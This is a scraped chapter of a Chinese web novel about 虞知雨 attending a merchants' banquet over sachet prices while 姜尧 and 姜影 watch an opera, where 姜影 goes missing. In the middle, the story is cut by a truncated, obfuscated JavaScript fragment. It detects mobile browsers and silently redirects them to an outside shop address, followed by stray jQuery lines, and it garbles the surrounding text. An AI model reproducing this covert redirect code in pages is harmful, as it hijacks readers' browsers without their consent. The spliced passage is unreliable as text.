文趣网 > 都市小说 > 圈养妻主 > 10. 第 10 章
    自打和胡玉儿相交之后,每逢进镇子,锦绣绸缎庄是必来的地方。

    一则,两人商量事情,二则,虞知雨也想带着两人出来交交朋友,总不好叫人成日里困在村子里。

    胡玉儿也算有心,每逢收到虞知雨要来的消息,便特意带了自己的夫郎来,省的她们商量事情的时候,那两位小公子无聊。

    曲然早就好奇自己妻主挂在嘴边的虞家人究竟是何模样,为人又是个性爽利还有些泼辣的小哥儿,头一回撞见虞知雨带着两个戴斗笠的少年郎进门时,大大方方地把人上下打量了一番,“妻主怎么也不早些给我介绍,害我如今才见着这么玲珑剔透的人儿。”

    姜影确实长得好,当年在京城之时,兄弟俩便有大小乔之称,又是世家贵族娇养出来的公子,自然气度不凡,曲然一照面就喜欢。

    尤其喜欢姜影。算是把两个话篓子凑到一处了,两人能从街头的糖人摊聊到戏楼的新本子,从狸花猫的崽子聊到隔壁铺子的伙计是不是在偷看谁家的小哥儿,叽叽咕咕地说个没完。

    姜尧安静些,手里捧着茶,只偶尔温温柔柔的偶尔应和一声。

    曲然观察了一阵子,私底下跟胡玉儿咬耳朵:“你那虞家妹妹那两个小哥儿,小的像只张牙舞爪的猫儿,娇矜又活泼,大的那个嘛。”

    “大的那个怎么?”胡玉儿一边翻账本一边随口接话。

    曲然歪着头想了想:“大的那个像只仙鹤。也不大对,仙鹤是清清冷冷又淡淡的,他嘛,瞧着你的虞家妹妹的时候,眼睛是湿漉漉的。”

    “你这都是什么比喻。”

    “哼,真没趣,我懒的跟你说。”

    “好好好,那就不说,我们做。”胡玉儿丢开手中的账册,抱着人亲了亲。

    “色胚。”

    “哪个女子不好色。”胡玉儿将夫郎的头发绕在手中把玩,眼神中盛满了欲望,“我若不好阿然的色,不是要糟?

    话分两头,这些时日,胡玉儿因为先前端午香囊一事很是赚了一笔,那些香囊在她的运作下,很快就成了风靡晋国的新鲜事物,但距离真正的端午节还有近十日的时间,于是,闻风而动的各地商家都想着分一杯羹,毕竟晋国这么大,除了锦绣绸缎庄还有别的地方要卖的嘛。

    于是,临近通州的,益州,昌州还有淮海一片的商会都派了人来。

    胡玉儿拿着那叠拜帖翻了一遍,心里是既兴奋又感慨,往常这些人可都是和她阿娘做生意的多,逢年过节来府上拜望,见了她也只当是胡家的千金,客气归客气,谈正事的时候从来不带上她。

    如今可好,倒是巴巴的过来。虽说各家的主家还未亲至,且掌柜的是到底隔了一层的,可这已经是一个很好的开头了。

    而这样的变化是虞知雨带来的,她就喜欢那人脑子里与众不同的想法。

    于是胡玉儿派人去小虞村递了帖子,请虞知雨一同赴宴。

    “一起去?”

    “对,”胡玉儿将扇子一收,“这点子本就有你一份。你同我一起去,也好露露脸。”往后这些人要是想绕过我直接找你,也好叫他们知道,你虞知雨是同我一条船上的。

    虞知雨抬眸看了她一眼。

    “嘿嘿,怎么这般看着我。”

    “无事,那便一起去吧。”

    “行,那我先给她们回话。”

    宴会设在了明月楼顶层,如今通州名气最大的酒楼,有三层多高,坐落在昌明运河的分支通澜河边,夹岸杨柳轻轻,楼内歌舞管弦靡靡。

    赴宴那日,虞知雨带了姜尧和姜影进城,照例把人送到锦绣绸缎庄。

    曲然一见到姜影,便亲热地拉着他的手说道:“阿尧阿影你们可算是来了,上回说的那个话本子出了下卷,我昨儿刚买到手,还没舍得拆封呢,咱们一起看。”

    姜影欢呼一声,拽着姜尧的袖子就要跟着走。

    “阿影,你慢点。”

    姜尧被他拽得脚步有些踉跄,下意识的回头看了虞知雨一眼。

    虞知雨冲他点了点头,示意他放心跟着去。姜尧便收回了目光,任由姜影拉着走。至于虞知雨已经跟着胡玉儿往楼上走了。她今日穿了一件翠竹纹的袍子,束腰的款式,头发用一根古朴的簪子绾在脑后,自有一派疏朗开阔的气度。

    胡玉儿原本精心挑了一件银红缠枝纹的锦袍,对着铜镜照了又照,觉得自己今日也算光彩照人。可一回头看见虞知雨走进来,那件素净的翠竹纹袍子穿在她身上,清清淡淡的,可偏偏就是让人移不开眼。胡玉儿低头看了看自己那一身银红,顿时觉得有点扎眼。

    “我这看着像不像丑人多作怪?”她扭过头,幽怨地看着虞知雨。

    “?”

    “没事没事,我们快上马车吧。”

    马车辘辘地驶出了巷子。

    一路到了明月楼,早有小厮在门口候着,一见胡玉儿的马车便殷勤地迎上来“胡小姐到了,楼上请。”

    虞知雨跟在胡玉儿身后踏进了明月楼。

    不愧是通州最豪华的酒楼,大堂挑高了两层,正中的顶上悬着一盏花灯,两边垂下纱幔,柱子雕梁画栋,金色为主调,丝竹管弦声也隐隐约约的飘着,和着楼外杨柳和水风,到真有些纸醉金迷的味道。

    宴会设在三楼顶层。虞知雨和胡玉儿进去的时候,雅间里已经坐了好几位掌柜。

    摆了几碟鲜果和冷盘,几个掌柜正在寒暄,听见脚步声便齐齐看了过来。

    “胡小姐。”坐在靠窗位置的一个圆脸掌柜率先站起来,拱了拱手,“可把您给盼来了。这位是?”

    胡玉儿笑吟吟地回礼,“这位是虞知雨虞姑娘——不瞒各位说,这回那些香囊的新鲜花样,可都是虞姑娘想出来的。我不过是出出苦力罢了。”

    几位掌柜的目光在虞知雨身上扫了一圈,见她穿着素净,通身上下连根好簪子都没有,又生得年轻面嫩,便都只在面上客气了几句,心里却并不十分放在心上。

    一个匠人罢了,会画几笔花样子,撞了大运搭上了胡家的顺风船,倒也值得胡玉儿这么郑重其事地介绍。

    虞知雨把众人的神色收在眼里,也不在意,只是微笑着落了座。人到齐后,美酒佳肴也跟着摆了上来。

    商人谈生意,哪怕心里恨不得立刻就把合同拍板定下来,面上也得先寒暄。几位掌柜轮流敬了一轮酒,聊了聊端午的时令,今年的龙舟赛谁家会赢,以及通澜河上的画舫又多了几艘,兜兜转转了大半个时辰,才终于有人把话题引到了正事上。

    “胡小姐,咱们明人不说暗话。你那批香囊,我们益州商会的东家看了样品,很是喜欢。只是这价钱……”

    “价钱好商量,”胡玉儿摇着扇子,笑容满面,“不过张掌柜,您也知道,我这批货从绣娘到布料,那都是挑了上好的。比不得那些街边摊子上随便缝几针的玩意儿。您要是量大,我可以让一成。”

    “一成?胡小姐,咱们来回一趟益州的车马费也不便宜,你好歹让两成。”

    “两成就白送了,不过,我倒是阵心交你这个朋友,一成半,不能再多了。再多我可也要喝西北风了。”

    “唉,我们也是有心同胡小姐做朋友的。”

    没人找虞知雨搭话,她乐得轻松的吃着东西,然后一边听她们讨价还价,原先还算风度翩翩的掌柜们,如今反倒是撸起袖子,吹沫横飞……一分一厘都掰扯清楚。

    倒是有点像菜市场里为了两文钱争得面红耳赤的卖菜郎。

    虞知雨不好插嘴,只端着茶喝,听着胡玉儿一人大战三个掌柜,嘴皮利索的如同连珠炮弹,寸土不让,但是又能在对方快翻脸的时候适宜的给个台阶。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17840846|211641||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >“瞧您这话,往后还有的来往,这次权且是交朋友。”

    不愧是日后富甲天下的首富。

    几番拉锯战之后,合同总算敲定了。

    这时候,方才那番剑拔弩张的劲头又没了,笑脸重归脸上,几人说着“往后大家便亲如姐妹。”

    掌柜们收了笔墨,方才那股子剑拔弩张的劲头便烟消云散,重新换上笑脸,互相敬酒,说些“往后便是自家人了”的客套话,仿佛刚才差点把桌子拍翻的不是他们似的。

    胡玉儿今天在明月楼谈事。妻主不在家,他便是锦绣绸缎庄里说一不二的主子。此时他正歪在罗汉榻上和姜影一起翻话本子,姜尧安静的坐在桌子边泡茶。

    “小影儿,我听说戏楼最近新排了一出《仙君化蝶》,火得很,满城的哥儿都跑去看了。要不咱们也去瞧瞧?”

    姜影一听也觉得现下有些无聊,脆生生地应了一句“好”。

    曲然又扭头看姜尧,姜尧见弟弟高兴,便放下手里的茶杯,轻轻点了点头。

    到了戏楼,曲然原本是定了包间的,二楼正对着戏台的雅座,挂一道珠帘,摆几碟蜜饯松果,舒舒服服地歪着看,才符合他绸缎庄当家夫郎的身份。可姜影趴在二楼栏杆上往下看了一回,便拽着曲然的袖子说“曲哥哥,咱们坐下面好不好?下面热闹!”

    大堂里的长条凳子上挨挨挤挤地坐满了看客,嗑瓜子喝茶,还能和旁边的人一起唠嗑。

    曲然也没试过这样呢,于是他大手一挥:“行,今天我们就试试。“

    锣鼓一响,戏便开了。

    《仙君化蝶》讲的是一个老套的故事。富家小公子男扮女装去了书院读书,爱上了同窗的贫穷书生。两个少年人同窗共读,从最初的相看两厌到后来的相知相许,偷偷在月下交换了信物,许下了“此生非卿不娶,非卿不嫁”的诺言。可天不遂人愿,家里给小公子定了一门亲事,那订亲的女子偏偏也是书院的同窗,三人对面不相识,闹出了许多阴差阳错的笑话和眼泪。最后真相大白,小公子被家族逼迫,走投无路,在花轿临门的前一夜化成了一只蝴蝶。

    若是虞知雨在,那只怕要说这不就是翻版的梁祝?

    台上的花轿正行至坟茔前,伶人挣脱坠红帘。双膝跪地泪洒衣襟,唱腔悲怆:“望君等我来相伴,莫教孤影守空山。”彼时,大堂里响起了一片压抑的抽泣声。

    曲然看到这儿,早就哭完了半条帕子,一边擤鼻涕一边骂那拆散有情人的封建家长,骂完了又哭。姜影虽然看不太懂那些文绉绉的唱词,可看到台上那个好看的小公子趴在桌上哭,他也跟着难过起来,好想小鱼儿。

    姜尧没有哭。只是安静地坐着,脊背挺直,双手交叠放在膝盖上。

    台上的伶人正在唱最后一折,狂风乌云大作,电闪雷鸣间,坟茔被劈开一角……

    姜尧遮在斗笠后眼眸微微下垂。

    和那故事里的小公子一样,他从前也去过外祖家读书,那时的姜家还没倒,他也还是那个金尊玉贵的侯府公子,混进一群少女中,同她们一样坐明堂,念圣人书。遇见了骑马射箭样样出挑意气风发的赵姐姐。

    如今,已物是人非。赵姐姐去了北疆,他沦落成了罪奴。

    台上最后一声锣响,满堂彩声如雷。伶人们出来谢幕,台下的人还在擦眼泪。曲然红着眼眶站起来,用力地拍着巴掌,:“太感动了。我回去一定要吃两盘子点心压一压,小影儿,我听说西街新出了一种姜糖,辣辣的,你肯定喜欢,等会儿咱们绕过去买一包。”

    没人应。

    “小影儿?”

    曲然低头一看,姜尧身边的位子是空的。

    原本沉浸在回忆中的姜尧也是一惊。

    大堂里人来人往。就是没有姜影的身影。

    姜尧猛地站了起来,脸色刷地白了。